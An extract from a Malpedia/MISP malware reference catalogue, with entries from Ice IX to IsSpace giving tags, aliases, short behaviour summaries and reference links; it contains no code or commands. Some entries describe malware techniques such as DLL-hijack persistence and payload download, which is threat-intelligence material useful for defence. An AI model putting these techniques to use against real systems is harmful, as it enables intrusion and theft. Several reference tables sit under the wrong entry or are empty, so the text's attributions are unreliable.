The ICE IX bot is a banking trojan derived of the Zeus botnet because it uses significant parts of Zeus's source code. ICE IX communicates using the HTTP protocol, so it can be considered to be a third-generation botnet. While it has been used for a variety of purposes, a primary threat of ICE IX comes from its manipulation of banking operations on compromised machines. As with any bot, execution of the bot results in establishing a master-slave relationship between the botmaster and the compromised computer.

The tag is: misp-galaxy:malpedia="Ice IX"

Ice IX is also known as:

<table>
<thead>
<tr>
<th>Table 3273. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix">https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix</a></td>
</tr>
<tr>
<td><a href="https://www.virusbulletin.com/virusbulletin/2012/08/inside-ice-ix-bot-descendent-zeus">https://www.virusbulletin.com/virusbulletin/2012/08/inside-ice-ix-bot-descendent-zeus</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/ice-ix-not-cool-at-all/29111/">https://securelist.com/ice-ix-not-cool-at-all/29111/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/ice-ix-the-first-crimeware-based-on-the-leaked-zeus-sources/29577/">https://securelist.com/ice-ix-the-first-crimeware-based-on-the-leaked-zeus-sources/29577/</a></td>
</tr>
</tbody>
</table>

IconDown

The tag is: misp-galaxy:malpedia="IconDown"

IconDown is also known as:

<table>
<thead>
<tr>
<th>Table 3274. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.icondown">https://malpedia.caad.fkie.fraunhofer.de/details/win.icondown</a></td>
</tr>
</tbody>
</table>

IconicStealer

Follow-up payload in 3CX supply chain incident, which according to Volexity is an infostealer collecting information about the system and browser using an embedded copy of the SQLite3 library.

The tag is: misp-galaxy:malpedia="IconicStealer"

IconicStealer is also known as:

<table>
<thead>
<tr>
<th>Table 3275. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

IcyHeart

The tag is: *misp-galaxy:malpedia="IcyHeart"*

IcyHeart is also known as:

- Troxen

Table 3276. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.icyheart

IDAT Loader

According to Rapid7, this is a loader first spotted in July 2023. It implements several evasion techniques including Process Doppelgänging, DLL Search Order Hijacking, and Heaven’s Gate. IDAT loader got its name as the threat actor stores the malicious payload in the IDAT chunk of PNG file format.

The tag is: *misp-galaxy:malpedia="IDAT Loader"*

IDAT Loader is also known as:

Table 3277. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.idat_loader


IDKEY

The tag is: *misp-galaxy:malpedia="IDKEY"*

IDKEY is also known as:
IISniff

The tag is: misp-galaxy:malpedia="IISniff"

IISniff is also known as:

Table 3279. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.idkey">https://malpedia.caad.fkie.fraunhofer.de/details/win.idkey</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/22766">https://isc.sans.edu/diary/22766</a></td>
</tr>
</tbody>
</table>

IISpy

The tag is: misp-galaxy:malpedia="IISpy"

IISpy is also known as:

- BadIIS

Table 3280. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.iispy">https://malpedia.caad.fkie.fraunhofer.de/details/win.iispy</a></td>
</tr>
</tbody>
</table>

Imecab

The tag is: misp-galaxy:malpedia="Imecab"

Imecab is also known as:

Table 3281. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Imminent Monitor RAT

MITRE describes Imminent Monitor as a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.

The tag is: `misp-galaxy:malpedia="Imminent Monitor RAT"`

Imminent Monitor RAT is also known as:

Table 3282. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.imminent_monitor_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.imminent_monitor_rat</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/">https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/</a></td>
</tr>
<tr>
<td><a href="https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/">https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-trinity">https://www.secureworks.com/research/threat-profiles/cobalt-trinity</a></td>
</tr>
<tr>
<td><a href="https://www.atomicmatryoshka.com/post/infographic-apt5-in-south-america">https://www.atomicmatryoshka.com/post/infographic-apt5-in-south-america</a></td>
</tr>
</tbody>
</table>

Immortal Stealer

ZScaler describes Immortal Stealer as a windows malware written in .NET designed to steal sensitive information from an infected machine. The Immortal stealer is sold on the dark web with different build-based subscriptions.

The tag is: `misp-galaxy:malpedia="Immortal Stealer"`
Immortal Stealer is also known as:

Table 3283. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.immortal_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.immortal_stealer</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/research/immortal-information-stealer">https://www.zscaler.com/blogs/research/immortal-information-stealer</a></td>
</tr>
</tbody>
</table>

**INCONTROLLER**

The tag is: `misp-galaxy:malpedia="INCONTROLLER"`

INCONTROLLER is also known as:

Table 3284. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.incontroller">https://malpedia.caad.fkie.fraunhofer.de/details/win.incontroller</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/silascutler/status/1514366443277766656">https://twitter.com/silascutler/status/1514366443277766656</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/cyber-operations-russian-vulkan">https://www.mandiant.com/resources/blog/cyber-operations-russian-vulkan</a></td>
</tr>
</tbody>
</table>

**Incubator**

Keylogger written in Visual Basic dating back to at least 2012.

The tag is: `misp-galaxy:malpedia="Incubator"`

Incubator is also known as:

Table 3285. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.incubator">https://malpedia.caad.fkie.fraunhofer.de/details/win.incubator</a></td>
</tr>
</tbody>
</table>

**IndigoDrop**

The tag is: `misp-galaxy:malpedia="IndigoDrop"`

IndigoDrop is also known as:

Table 3286. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Industrial Spy

A ransomware that emerged in April 2022.

The tag is: *misp-galaxy:malpedia=*"Industrial Spy"

Industrial Spy is also known as:

Table 3287. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.industrial_spy">https://malpedia.caad.fkie.fraunhofer.de/details/win.industrial_spy</a></td>
</tr>
</tbody>
</table>

Industroyer

Industroyer is a malware framework considered to have been used in the cyberattack on Ukraine's power grid on December 17, 2016. The attack cut a fifth of Kiev, the capital, off power for one hour. It is the first ever known malware specifically designed to attack electrical grids.

The tag is: *misp-galaxy:malpedia=*"Industroyer"

Industroyer is also known as:

- Crash
- CrashOverride

Table 3288. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer">https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-110a">https://www.cisa.gov/uscert/ncas/alerts/aa22-110a</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics">https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics</a></td>
</tr>
</tbody>
</table>
INDUSTROYER2

The tag is: `misp-galaxy:malpedia="INDUSTROYER2"`

INDUSTROYER2 is also known as:

Table 3289. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer2">https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer2</a></td>
</tr>
<tr>
<td><a href="https://www.nozominetworks.com/blog/industroyer2-nozomi-networks-labs-analyzes-the-iec-104-payload/">https://www.nozominetworks.com/blog/industroyer2-nozomi-networks-labs-analyzes-the-iec-104-payload/</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/">https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/silascutler/status/1513870210398363651">https://twitter.com/silascutler/status/1513870210398363651</a></td>
</tr>
<tr>
<td><a href="https://www.ntop.org/cybersecurity/how-ntopng-monitors-iec-60870-5-104-traffic/">https://www.ntop.org/cybersecurity/how-ntopng-monitors-iec-60870-5-104-traffic/</a></td>
</tr>
<tr>
<td><a href="https://pylos.co/2022/04/23/industroyer2-in-perspective/">https://pylos.co/2022/04/23/industroyer2-in-perspective/</a></td>
</tr>
</tbody>
</table>
Inferno

The tag is: misp-galaxy:malpedia="Inferno"

Inferno is also known as:

Table 3290. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.inferno
https://github.com/LimerBoy/Inferno

InfinityLock

InfinityLock ransomware is a type of malicious software that encrypts a victim's files and demands a ransom payment in order to decrypt them. It is spread through phishing emails and malicious websites. Once a computer is infected with InfinityLock, it encrypts all important files, such as documents, photos, and videos. It then displays a message that demands the victim pay a ransom of $1,000 in Bitcoin in order to decrypt the files. If the victim does not pay the ransom, the files will be
lost permanently.

The tag is: `misp-galaxy:malpedia="InfinityLock"`

InfinityLock is also known as:

Table 3291. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.infinitylock">https://malpedia.caad.fkie.fraunhofer.de/details/win.infinitylock</a></td>
</tr>
</tbody>
</table>

**InfoDot**

Ransomware.

The tag is: `misp-galaxy:malpedia="InfoDot"`

InfoDot is also known as:

Table 3292. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.infodot">https://malpedia.caad.fkie.fraunhofer.de/details/win.infodot</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2019/10/infodot-ransomware.html">https://id-ransomware.blogspot.com/2019/10/infodot-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Infy**

The tag is: `misp-galaxy:malpedia="Infy"`

Infy is also known as:

• Foudre

Table 3293. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.infy">https://malpedia.caad.fkie.fraunhofer.de/details/win.infy</a></td>
</tr>
<tr>
<td><a href="https://cloud.tencent.com/developer/article/1738806">https://cloud.tencent.com/developer/article/1738806</a></td>
</tr>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/">http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/</a></td>
</tr>
</tbody>
</table>
Inlock

The tag is: misp-galaxy:malpedia="Inlock"

Inlock is also known as:

Table 3294. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

InnaputRAT

InnaputRAT, a RAT capable of exfiltrating files from victim machines, was distributed by threat actors using phishing and Godzilla Loader. The RAT has evolved through multiple variants dating back to 2016. Recent campaigns distributing InnaputRAT beaconed to live C2 as of March 26, 2018.

The tag is: misp-galaxy:malpedia="InnaputRAT"

InnaputRAT is also known as:

Table 3295. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/">https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/</a></td>
</tr>
</tbody>
</table>

win.innfirat

InnifiRAT is coded in .NET and targets personal data on infected devices, with it’s top priority appearing to be bitcoin and litecoin wallet data.

InnifiRAT also includes a backdoor which allows attackers to control the infected host remotely. Possibilities include loggin key stroke, taking pictures with webcam, accessing confidential information, formatting drives, and more.
It attempts to steal browser cookies to steal usernames and passwords and monitors the users activities with screenshot functionality.

The tag is: *misp-galaxy:malpedia="win.innfirat"

win.innfirat is also known as:

**Table 3296. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.innfirat">https://malpedia.caad.fkie.fraunhofer.de/details/win.innfirat</a></td>
</tr>
</tbody>
</table>

**Interception (Windows)**

ESET noticed attacks against aerospace and military companies in Europe and the Middle East that took place between September and December 2019, which featured this family. They found a number of hints that points towards Lazarus as potential origin.

The tag is: *misp-galaxy:malpedia="Interception (Windows)"

Interception (Windows) is also known as:

**Table 3297. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.interception">https://malpedia.caad.fkie.fraunhofer.de/details/win.interception</a></td>
</tr>
</tbody>
</table>

**Invicta Stealer**

According to Cyble, The Invicta Stealer can collect system information, system hardware details, wallet data, and browser data and extract information from applications like Steam and Discord.

The tag is: *misp-galaxy:malpedia="Invicta Stealer"

Invicta Stealer is also known as:

**Table 3298. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.invicta_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.invicta_stealer</a></td>
</tr>
</tbody>
</table>

**InvisiMole**

InvisiMole had a modular architecture, starting with a wrapper DLL, and performing its activities
using two other modules that were embedded in its resources, named RC2FM and RC2CL. They were feature-rich backdoors and turned the affected computer into a video camera, letting the attackers to spy the victim. The malicious actors behind this malware were active at least since 2013 in highly targeted campaigns with only a few dozen compromised computers in Ukraine and Russia. The wrapper DLL posed as a legitimate mpr.dll library and was placed in the same folder as explorer.exe, which made it being loaded during the Windows startup into the Windows Explorer process instead of the legitimate library. Malware came in both 32-bit and 64-bit versions, which made this persistence technique functional on both architectures.

The smaller of the modules, RC2FM, contained a backdoor with fifteen supported commands indexed by numbers. The commands could perform simple changes on the system and spying features like capturing sounds, taking screenshots or monitoring all fixed and removable drives.

The second module, RC2CL, offered features for collecting as much data about the infected computer as possible, rather than for making system changes. The module supported up to 84 commands such as file system operations, file execution, registry key manipulation, remote shell activation, wireless network scanning, listing of installed software etc. Though the backdoor was capable of interfering with the system (e.g. to log off a user, terminate a process or shut down the system), it mostly provided passive operations. Whenever possible, it tried to hide its activities by restoring the original file access time or safe-deleting its traces.

The tag is: misp-galaxy:malpedia="InvisiMole"

InvisiMole is also known as:

Table 3299. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole">https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/">https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/</a></td>
</tr>
</tbody>
</table>

**Ironcat**

The tag is: misp-galaxy:malpedia="Ironcat"
Ironcat is also known as:

Table 3300. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ironcat">https://malpedia.caad.fkie.fraunhofer.de/details/win.ironcat</a></td>
</tr>
<tr>
<td><a href="https://aaronrosenmund.com/blog/2020/09/26/ironcat-ransmoware/">https://aaronrosenmund.com/blog/2020/09/26/ironcat-ransmoware/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1308827693312548864">https://twitter.com/demonslay335/status/1308827693312548864</a></td>
</tr>
</tbody>
</table>

**IRONHALO**

IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path.

The encoded payload is written to a temporary file, decoded and executed in a hidden window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number based on the current timestamp. It persists by copying itself to the current user’s Startup folder.

The tag is: *misp-galaxy:malpedia="IRONHALO"*

IRONHALO is also known as:

Table 3301. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo">https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html">https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html">https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html</a></td>
</tr>
</tbody>
</table>

**IronNetInjector**

According to Mitre, IronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.

The tag is: *misp-galaxy:malpedia="IronNetInjector"*

IronNetInjector is also known as:

Table 3302. Table References
IsaacWiper

According to Recorded Future, IsaacWiper is a destructive malware that overwrites all physical disks and logical volumes on a victim's machine.

The tag is: misp-galaxy:malpedia="IsaacWiper"

IsaacWiper is also known as:

- LASAINRAW

Table 3303. Table References

Links

<table>
<thead>
<tr>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ironnetinjector">https://malpedia.caad.fkie.fraunhofer.de/details/win.ironnetinjector</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/ironnetinjector/">https://unit42.paloaltonetworks.com/ironnetinjector/</a></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.isaacwiper">https://malpedia.caad.fkie.fraunhofer.de/details/win.isaacwiper</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/">https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/</a></td>
</tr>
<tr>
<td><a href="https://experience.mandiant.com/trending-evil-2/p/1">https://experience.mandiant.com/trending-evil-2/p/1</a></td>
</tr>
<tr>
<td><a href="https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/">https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat">https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/">https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/</a></td>
</tr>
<tr>
<td><a href="https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/">https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1521910890072842240">https://twitter.com/ESETresearch/status/1521910890072842240</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/">https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/</a></td>
</tr>
<tr>
<td><a href="https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/">https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine">https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine</a></td>
</tr>
</tbody>
</table>
ISFB

2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)

In September 2010, the source code of a particular Gozi CRM dll version was leaked. This led to two main branches: one became known as Gozi Prinimalka, which was merge with Pony and became Vawtrak/Neverquest.

The other branch became known as Gozi ISFB, or ISFB in short. Webinject functionality was added to this version.

There is one panel which often was used in combination with ISFB: IAP. The panel’s login page comes with the title 'Login - IAP'. The body contains 'AUTHORIZATION', 'Name:', 'Password:' and a single button 'Sign in' in a minimal design. Often, the panel is directly accessible by entering the C2 IP address in a browser. But there are ISFB versions which are not directly using IAP. The bot accesses a gate, which is called the 'Dreambot' gate. See win.dreambot for further information.

ISFB often was protected by Rovnix. This led to a further complication in the naming scheme - many companies started to call ISFB Rovnix. Because the signatures started to look for Rovnix, other trojans protected by Rovnix (in particular ReactorBot and Rerdom) sometimes got wrongly labelled.

In April 2016 a combination of Gozi ISFB and Nymaim was detected. This breed became known as GozNym. The merge uses a shellcode-like version of Gozi ISFB, that needs Nymaim to run. The C2 communication is performed by Nymaim.

See win.gozi for additional historical information.

The tag is: *misp-galaxy:malpedia=*ISFB*

ISFB is also known as:
Table 3304. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.isfb">https://malpedia.caad.fkie.fraunhofer.de/details/win.isfb</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/new-variant-of-ursnif-continuously-targeting-italy">https://www.fortinet.com/blog/threat-research/new-variant-of-ursnif-continuously-targeting-italy</a></td>
</tr>
<tr>
<td><a href="https://blog.qualys.com/vulnerabilities-threat-research/2022/05/08/ursnif-malware-banks-on-news-events-for-phishing-attacks">https://blog.qualys.com/vulnerabilities-threat-research/2022/05/08/ursnif-malware-banks-on-news-events-for-phishing-attacks</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/ltg23-crypters-cooperation-between-cybercriminal-groups/">https://securityintelligence.com/posts/ltg23-crypters-cooperation-between-cybercriminal-groups/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489">https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=KvOpNznu_3w">https://www.youtube.com/watch?v=KvOpNznu_3w</a></td>
</tr>
<tr>
<td><a href="https://0xtoxin.github.io/threatbreakdown/Gozi-Italy-Campaign/">https://0xtoxin.github.io/threatbreakdown/Gozi-Italy-Campaign/</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/">https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/</a></td>
</tr>
<tr>
<td><a href="https://www.cyberbit.com/new-ursnif-malware-variant/">https://www.cyberbit.com/new-ursnif-malware-variant/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2020/07/valak-emerges.html">https://blog.talosintelligence.com/2020/07/valak-emerges.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/mlodic/ursnif_beacon_decryptor">https://github.com/mlodic/ursnif_beacon_decryptor</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/">https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/ursnif-variant-spreadig-word-document.html">https://www.fortinet.com/blog/threat-research/ursnif-variant-spreadig-word-document.html</a></td>
</tr>
</tbody>
</table>
https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-ursnif-infections/
https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/
https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/
https://www.tgsoft.it/files/report/download.asp?id=7481257469
https://lokalhost.pl/gozi_tree.txt
https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/
https://www.youtube.com/watch?v=jlc7Ahp8Iqg
https://Offset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/
https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/
https://blog.yoroi.company/research/the-ursnif-gangs-keep-threatening-italy/
https://isc.sans.edu/forums/diary/German-language+malspam+pushes+Ursnif/25732/
https://blog.fox-it.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/
https://github.com/gbrindisi/malware/tree/master/windows/gozi-isfb
https://blog.yoroi.company/research/ursnif-long-live-the-steganography/
https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/
https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif
https://kostas-ts.medium.com/ursnif-vs-italy-il-pdf-del-destino-5c83d6281072
https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/
https://blog.group-ib.com/gozi-latest-ttps
https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/

**ISMAgent**

The tag is: *misp-galaxy:malpedia=*"ISMAgent"

ISMAgent is also known as:

*Table 3305. Table References*

**Links**

https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent
http://www.clearskysec.com/ismagent/
ISMDoor

The tag is: `misp-galaxy:malpedia=“ISMDoor”`

ISMDoor is also known as:

Table 3306. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ismdoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.ismdoor</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/evasive-serpens/">https://unit42.paloaltonetworks.com/atoms/evasive-serpens/</a></td>
</tr>
<tr>
<td><a href="http://www.clearskysec.com/greenbug/">http://www.clearskysec.com/greenbug/</a></td>
</tr>
</tbody>
</table>

iSpy Keylogger

The tag is: `misp-galaxy:malpedia=“iSpy Keylogger”`

iSpy Keylogger is also known as:

Table 3307. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ispy_keylogger">https://malpedia.caad.fkie.fraunhofer.de/details/win.ispy_keylogger</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/research/ispy-keylogger">https://www.zscaler.com/blogs/research/ispy-keylogger</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-skyline">https://www.secureworks.com/research/threat-profiles/gold-skyline</a></td>
</tr>
</tbody>
</table>

IsraBye

The tag is: `misp-galaxy:malpedia=“IsraBye”`

IsraBye is also known as:
ISR Stealer

ISR Stealer is a modified version of the Hackhound Stealer. It is written in VB and often comes in a .NET-wrapper. ISR Stealer makes use of two Nirsoft tools: Mail PassView and WebBrowserPassView.

Incredibly, it uses an hard-coded user agent string: HardCore Software For : Public

The tag is: `misp-galaxy:malpedia="ISR Stealer"`

ISR Stealer is also known as:

IsSpace

The tag is: `misp-galaxy:malpedia="IsSpace"`

IsSpace is also known as:

• NfLog RAT

Table 3308. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.israybe">https://malpedia.caad.fkie.fraunhofer.de/details/win.israybe</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1085162243795369984">https://twitter.com/malwrhunterteam/status/1085162243795369984</a></td>
</tr>
</tbody>
</table>

Table 3309. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace">https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace</a></td>
</tr>
<tr>
<td><a href="https://securingtomorrow.mcafee.com/mcafee-labs/phishing-attacks-employ-old-effective-password-stealer/">https://securingtomorrow.mcafee.com/mcafee-labs/phishing-attacks-employ-old-effective-password-stealer/</a></td>
</tr>
<tr>
